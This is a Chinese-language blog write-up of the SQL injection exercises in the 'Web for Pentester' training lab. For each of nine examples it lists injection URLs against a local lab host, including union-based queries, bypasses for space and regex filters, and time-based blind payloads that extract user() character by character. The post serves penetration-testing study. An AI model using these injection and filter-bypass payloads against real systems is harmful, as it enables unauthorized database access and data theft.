【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1
字符类型的注入,无过滤
http://192.168.91.139/sqli/example1.php?name=root
http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23
http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23
http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23
Example 2
与example1差不多,过滤了空格,语句中存现空格就会报错
mysql注入绕过空格过滤的方法:
1、水平制表(HT) url编码:%09
2、注释绕过空格 /*注释*/
3、括号绕过空格的方法,在time based盲注中
index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23
http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 3
在example的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
可以使用example2中 /*注释*/ 绕过过滤
http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 4
数值型的注入,过滤了单引号等,对数值型无效
http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5
Example 5
与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试
http://192.168.91.139/sqli/example5.php?id=2 and 1=1--
http://192.168.91.139/sqli/example5.php?id=2 and 1=2--
Example 6
正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.
你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.
http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123
Example 7
解法一:
换行 \n的url编码是%0a
这边纠结了好久,最终使用了-- %23 才能注释掉后面语句
http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123
解法二:
http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23
Example 8
order by `name` 报错注入出不来,用了时间盲注一个一个猜解
http://192.168.91.139/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
Example 9
与 example8类似,可以通过时间盲注进行逐一猜解
http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23
最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。
参考链接:
Web for Pentester II :https://pentesterlab.com/exercises/web_for_pentester/course
Web渗透测试攻略 [三]: http://www.2cto.com/Article/201401/275482.html
Web渗透测试攻略[四]:http://www.tuicool.com/articles/EFV3UzF
Web渗透测试攻略[五]:http://www.tuicool.com/articles/Iza63eM
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫